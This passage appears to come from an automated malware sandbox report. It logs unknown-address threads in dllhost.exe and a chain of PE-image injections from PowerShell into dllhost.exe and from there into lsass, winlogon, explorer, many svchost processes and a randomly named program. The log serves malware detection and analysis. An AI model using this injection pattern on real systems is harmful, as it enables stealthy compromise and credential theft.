Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 63512EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4E102EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 98572EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3C5C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CFCF2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8E332EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A2952EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 340C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 53792EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9A0E2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 30B32EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 35DA2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 792F2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E9172EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 59542EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1AC02EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1352EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D2532EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 532EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8D02EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 44DD2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B00D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9A262EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B71A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 82022EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 706E2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6A4A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 43F2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15D32EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AD5E2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 570C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E5262EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 90B2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B1242EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 82CD2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9B7A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 61412EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: ADC42EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3CB25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 997D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BA25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BD25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27C25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2CC25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2AB25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2FE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26A25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2AF25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8925AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22A25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AA25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AD25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10B25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2CE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26B25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 20425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29A25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28A25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CA25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AD25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2CE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6A25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DA25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2CF25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10C25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8C182EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BF652EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8F262EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8BCF2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 91C92EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4E402EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A2462EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CEB2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A5972EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A59A2EBC

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1CA7D1B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 17D2DD20000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F4B8F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 262F1EB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23942AE0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF056A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2287A7D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B94DA60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25202540000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9EBF90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19FF1600000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A76A170000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D26990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2175D5C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0AB960000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2129B2A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26384180000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25178730000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1495FCF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22125D90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1CA7D1B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 17D2DD20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F4B8F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 262F1CD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23942AE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF056A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2287AD70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B94DA60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25202540000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9EBF90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19FF1600000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A76A170000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D26990000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2175D5C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0AB960000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2129B2A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26384180000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25178730000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1495FCF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22125DC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 297A5D80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D0F41C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C325340000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AEFC900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 270F3530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D326280000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 16131E60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AE137C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C93A3B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2E4190000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1450000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB68FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 265951C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C263510000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E100000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18198570000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF3C5C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 17ACFCF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E8E330000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5A2950000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD340C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B653790000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B19A0E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24730B30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15F35DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 200792F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18CE9170000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D959540000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18F1AC00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF01350000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 221D2530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D400530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 8590000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 27844DD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 258B00D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FA9A260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1BFB71A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 26982020000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 185706E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1496A4A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 190043F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 16215D30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 159AD5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 221570C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B8E5260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 189090B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24BB1240000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 28182CD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BD9B7A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24261410000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1C7ADC40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 3CB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 242997D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 9F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 6D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 7F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: BA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2830000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: BD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2910000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 15E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 27C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1080000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 920000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2FE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 26A0000 value starts with: 4D5A
